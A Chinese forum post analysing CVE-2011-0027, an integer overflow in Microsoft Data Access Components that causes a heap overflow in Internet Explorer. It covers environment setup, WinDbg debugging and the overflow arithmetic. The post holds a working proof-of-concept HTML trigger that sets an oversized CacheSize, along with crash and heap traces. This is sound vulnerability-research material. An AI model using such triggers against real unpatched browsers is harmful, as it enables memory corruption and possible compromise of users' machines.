首页
社区
课程
招聘
[原创]CVE-2011-0027 Microsoft Data Access Components整数溢出漏洞分析
发表于: 2021-8-1 18:22 11344

[原创]CVE-2011-0027 Microsoft Data Access Components整数溢出漏洞分析

2021-8-1 18:22
11344

这篇文章对CVE-2011-0027整数溢出漏洞进行了分析,之前在没有系统看过0day安全之前也曾经分析过一个整数溢出漏洞,只不过导致溢出的运算不太一样,感兴趣的可以去看一下那篇文章。

在分析这个漏洞的过程中,花费精力最多的其实是环境的搭建,因为漏洞已经比较老了,遇到了各种坑。之前的漏洞分析最晚在周四也能完成,这次到周四才把环境搭建好。

本文首先对MDAC进行了简单的介绍,然后花费了一定篇幅说明了搭建环境过程中遇到的各种问题,之后大致按照《漏洞战争》中的流程对漏洞进行了调试分析。总体来说漏洞原理其实并不复杂,只是环境搭建花费了很多时间。

在MDAC处理RecordSet时,没有正确验证其指定缓冲区大小的CacheSize属性,如果属性值过大,会导致整数溢出,造成实际分配的空间大小小于原来指定的内存空间。由于漏洞发生在堆上,最终会导致堆溢出。

MDAC全程是Microsoft Data Access Components,即微软数据库访问组件。它为应用程序访问数据库提供了一个标准的接口。

MDAC在应用程序层使用的编程语言接口叫做ActiveX Data Objects(ADO),使用ADO可以建立Connection对象,表示一个对数据库的会话连接,Connection对象包含一个Execute方法,应用程序通过这个方法执行想要的操作。ADO还支持Command对象,可以使用Command对象建立一个参数化的命令并执行;Recodset对象代表的就是数据库中表格形式的数据,Execute或者Command执行后返回的数据就是Recordset格式的,Recordset对象支持各种用于控制数据的选项。通常来说,Recordset对象表示的是整行数据,或者一行数据中的其中几列,而访问单独的列要使用Field对象。虽然通过RecordSet每次只能访问一行的数据,但是这并不表示每次访问的时候都需要访问一次数据库,RecordSet可以缓存多行数据,而CacheSize就表示了它可以缓存的数据大小。

更详细的关于ADO的信息可以查看参考资料3

在HTML中可以使用<XML>标签插入需要的数据,并提供方法访问这些数据,这一过程实际上就是在使用MDAC对数据库进行访问,这里使用的对象就是上面介绍的ADO。

因此可以在访问XML中的数据时使用我们上面介绍的一些对象和方法的名称,也可以在这一过程中,触发CacheSize中存在的整数溢出漏洞。

这个东西我搞了一周,终于在周四得到了正确的异常和symbol信息……中间遇到各种问题:操作系统版本的问题、Windbg版本的问题、IE的版本问题、symbol找不到……

但是……

后来发现在Winxp下调试的时候输出的调试信息会和正确的地址有误差,我也不知道是Windbg版本的问题还是符号文件有问题;与此同时,我也发现Win7 64位上面的符号文件是可以正常下载的,wow64.pdb也在正确的位置上,就是不知道为什么会报错。正当我几近绝望的时候,在stackoverflow上面搜索到了这样一条回复:

My Windbg is 6.3.9600. I think you attach to some process, not open a wow64 process dump. If I attach to a wow64 process using 32bit windbg, all the commands can works fine. But when I open a wow64 process dump, both 32bit and 64bit windbg can not work. – Leon Nov 17 '14 at 5:08

感谢Leon,我突然意识到了我的问题,我选择的Windbg的位数可能是错的。因为用的是64位的虚拟机,所以我自然而然的选择了64位的Windbg。最终我安装了32位的Windbg,成功得到了正确的调试信息。

Windbg 位数选择

以下是调试代码,保存成poc.html:

之前只在分析MS06-055这个漏洞的时候有过调试IE的经历,在已经确认漏洞所在文件名时,可以直接根据漏洞相关信息在Function name中进行搜索,确定相关函数地址,然后在该地址处下断点进行调试。

在《漏洞战争》中,还讲到了另外一种调试的方法,在谷歌中搜索:【关键词】 site:https://www.geoffchappell.com

我在测试的时候一开始只搜到两个结果,最关键的那个没有搜索到,后来换了一个代理地址,就成功了,(lll¬ω¬)

这样搜索的目的是为了找到在IE中存在的和recordset有关的类方法,因为需要在对应的方法处设置断点进行调试。

根据搜索结果,得到了三个和recordset有关的类:

其中CEventObj是为html中event对象提供的接口,可以忽略不记,代码中是一个获取recordset的行为,所以最终要在CGenericElement::get_recordsetCObjectElement::get_recordset上下断点。

poc.html打开之后,设置好断点,继续执行,程序断在了CGenericElement::get_recordset这个函数上,说明代码中localxmlid1 = document.getElementById('xmlid1').recordset;这个语句对应的是CGenericElement::get_recordset函数。

先确定一下漏洞发生的位置,还是使用之前漏洞分析时介绍的方法,为iexplor.exe设置页堆:

打开poc.html,根据IE的默认安全设置,此时JS脚本是不会执行的,需要额外的步骤进行确认。这时使用windbg附加到iexplore.exe上,继续执行,再在IE上面"允许阻止的内容",此时就会发生异常:

书中使用!heap -p -a指令显示出了具体的栈回溯信息,之前进行其他漏洞分析的时候没发现这条指令这么好用,b( ̄▽ ̄)d。

从输出信息中可以看出堆块起始地址是0xeacd298,大小为0xd64,所以在写到0xeace000的时候就超过这个堆块的范围了。

我这里的windbg输出好像是有一些问题,函数名后面的偏移量是错误的,可能我下载的symbol还是有些问题,所以我这里的分析步骤也有一些调整。

从栈回溯中可以看到异常发生在调用CRecordset::MoveFirst之后,而CRecordset::MoveFirst又调用了CRecordGroup::AllocateHRowRange,从函数名看这应该是一个分配空间的函数,所以我打算在这里下一个断点,查看一下这个函数的参数情况。

但是在我在CRecordset::PrepareForFetch+0x000000e2下断点的时候,程序并没有断在正确的位置,而是断在了

因此我直接断在CRecordset::PrepareForFetch,F10向前步进了几步,到达了CRecordGroup::AllocateHRowRange的调用位置:

第一次中断的时候参数不对,继续执行,直到第三次断在这里的时候,查看esp:

可以看到第一个参数是40000358,就是poc中设置的CacheSize的大小。

这时候在CRecordGroup::AllocateHRowRange+0x00000085设置一个断点,继续执行

MpHeapAlloc的参数应该和HeapAlloc的参数差不多:

看一下栈中元素的内容:

第三个参数书d64,就是分配的堆块大小。看一下这个参数是怎么来的:

可以看到edi → eax → eax*4+4 → 0xd64这样一个计算过程,所以需要判断edi的值是多少,但是edi的值已经被MpHeapAlloc的地址覆盖了,所以需要再次调试。上面也说了,不知道为什么,windbg给出的偏移量是有问题的,所以我直接在CRecordGroup::AllocateHRowRange下断点,也是第三次中断的时候,单步到达mov eax, edi这条指令:

可以看到此时edi的值为40000358,正是我们在代中设置的CacheSize的值。40000358*4+4=100000d64,由于寄存器大小只有四个字节,发生了整数溢出,得到的结果就是d64

这次漏洞分析学习到的是通过!heap -p -a ADDR得到栈回溯信息,从而确定堆溢出的位置和具体信息;以及怎样确定IE中编程使用的函数与底层API函数的对应关系,从而便于漏洞分析。还有在分析之前,环境搭建踩到的很多个坑,下次新的环境搭建就会更有经验了。

在整个环境搭建过程了,在网上找到了几个很好的资料和资源,虽然最后可能没用到,但是还是分享给大家,自己也做一个存档:

如果有的下载地址已经无法访问,一定要善用internet archive,有些资源地址有历史快照。

 
 
 
 
 
 
 
 
<html xmlns:t = "urn:schemas-microsoft-com:time">
<script language='javascript'>
function Start() {
    localxmlid1 = document.getElementById('xmlid1').recordset;
    localxmlid1.CacheSize = 0x40000358;
    for (var i = 0; i < 0x100000; i++) {
        localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]);
        localxmlid1.MoveFirst();
    }
}
</script>
<body onLoad="window.setTimeout(Start, 100);" id="bodyid">
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<XML ID="xmlid1">
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA />
</Device>
</Devices>
</XML>
</body>
</html>
<html xmlns:t = "urn:schemas-microsoft-com:time">
<script language='javascript'>
function Start() {
    localxmlid1 = document.getElementById('xmlid1').recordset;
    localxmlid1.CacheSize = 0x40000358;
    for (var i = 0; i < 0x100000; i++) {
        localxmlid1.AddNew(["AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"], ["c"]);
        localxmlid1.MoveFirst();
    }
}
</script>
<body onLoad="window.setTimeout(Start, 100);" id="bodyid">
<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<XML ID="xmlid1">
<Devices>
<Device>
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA />
</Device>
</Devices>
</XML>
</body>
</html>
 
 
 
 
CEventObj::get_recordset
CEventObj::putref_recordset
 
CGenericElement::get_recordset
 
CObjectElement::get_recordset
CObjectElement::putref_recordset
CEventObj::get_recordset
CEventObj::putref_recordset
 
CGenericElement::get_recordset
 
CObjectElement::get_recordset
CObjectElement::putref_recordset
 
C:\Documents and Settings\test>"C:\Documents and Settings\test\Desktop\Global Flags.lnk" -i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
    hpa - Enable page heap
C:\Documents and Settings\test>"C:\Documents and Settings\test\Desktop\Global Flags.lnk" -i iexplore.exe +hpa
Current Registry Settings for iexplore.exe executable are: 02000000
    hpa - Enable page heap
(a14.a2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000036b ebx=0000035b ecx=00000000 edx=00000001 esi=0eace000 edi=00000000
eip=720f746f esp=0848e744 ebp=0848e748 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
mshtml!CImpIRowset::HRowNumber2HROWQuiet+0x23:
720f746f 8906            mov     dword ptr [esi],eax  ds:002b:0eace000=????????
0:005> !heap -p -a 0eace000
    address 0eace000 found in
    _DPH_HEAP_ROOT @ ea21000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 ea22750:          eacd298              d64 -          eacd000             2000
    74be8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    779c02fe ntdll!RtlDebugAllocateHeap+0x00000030
    7797ac4b ntdll!RtlpAllocateHeap+0x000000c4
    77923b4e ntdll!RtlAllocateHeap+0x0000023a
    7171975d MSDART!MpHeapAlloc+0x00000029
    715e06e7 msado15!CRecordGroup::AllocateHRowRange+0x00000085
    715e0650 msado15!CRecordset::PrepareForFetch+0x000000e2
    716744ae msado15!CRecordset::MoveAbsolute+0x000003e3
    716080a5 msado15!CRecordset::_MoveFirst+0x0000007d
    71677957 msado15!CRecordset::MoveFirst+0x00000221
    715efde6 msado15!CRecordset::Invoke+0x00001560
    7182db38 jscript!IDispatchInvoke2+0x000000f0
    7182da8c jscript!IDispatchInvoke+0x0000006a
    7182d9ff jscript!InvokeDispatch+0x000000a9
    7182db8a jscript!VAR::InvokeByName+0x00000093
    7182d8c8 jscript!VAR::InvokeDispName+0x0000007d
    7182d96f jscript!VAR::InvokeByDispID+0x000000ce
    7182e3e7 jscript!CScriptRuntime::Run+0x00002b80
    71825c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    71825bfb jscript!ScrFncObj::Call+0x0000008d
    71825e11 jscript!CSession::Execute+0x0000015f
    7181f3ee jscript!NameTbl::InvokeDef+0x000001b5
    7181ea2e jscript!NameTbl::InvokeEx+0x0000012c
    718196de jscript!NameTbl::Invoke+0x00000070
    71e2aa7b mshtml!CWindow::ExecuteTimeoutScript+0x00000087
    71e2ab66 mshtml!CWindow::FireTimeOut+0x000000b6
    71e56af7 mshtml!OnTimer+0x0000003d
    71e51e57 mshtml!GlobalWndProc+0x00000183
    75c06238 USER32!InternalCallWinProc+0x00000023
    75c068ea USER32!UserCallWinProcCheckWow+0x00000109
    75c07d31 USER32!DispatchMessageWorker+0x000003bc
    75c07dfa USER32!DispatchMessageW+0x0000000f
(a14.a2c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000036b ebx=0000035b ecx=00000000 edx=00000001 esi=0eace000 edi=00000000
eip=720f746f esp=0848e744 ebp=0848e748 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
mshtml!CImpIRowset::HRowNumber2HROWQuiet+0x23:
720f746f 8906            mov     dword ptr [esi],eax  ds:002b:0eace000=????????
0:005> !heap -p -a 0eace000
    address 0eace000 found in
    _DPH_HEAP_ROOT @ ea21000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                 ea22750:          eacd298              d64 -          eacd000             2000
    74be8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
    779c02fe ntdll!RtlDebugAllocateHeap+0x00000030
    7797ac4b ntdll!RtlpAllocateHeap+0x000000c4
    77923b4e ntdll!RtlAllocateHeap+0x0000023a
    7171975d MSDART!MpHeapAlloc+0x00000029
    715e06e7 msado15!CRecordGroup::AllocateHRowRange+0x00000085
    715e0650 msado15!CRecordset::PrepareForFetch+0x000000e2
    716744ae msado15!CRecordset::MoveAbsolute+0x000003e3
    716080a5 msado15!CRecordset::_MoveFirst+0x0000007d
    71677957 msado15!CRecordset::MoveFirst+0x00000221
    715efde6 msado15!CRecordset::Invoke+0x00001560
    7182db38 jscript!IDispatchInvoke2+0x000000f0
    7182da8c jscript!IDispatchInvoke+0x0000006a
    7182d9ff jscript!InvokeDispatch+0x000000a9
    7182db8a jscript!VAR::InvokeByName+0x00000093
    7182d8c8 jscript!VAR::InvokeDispName+0x0000007d
    7182d96f jscript!VAR::InvokeByDispID+0x000000ce
    7182e3e7 jscript!CScriptRuntime::Run+0x00002b80
    71825c9d jscript!ScrFncObj::CallWithFrameOnStack+0x000000ce
    71825bfb jscript!ScrFncObj::Call+0x0000008d

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//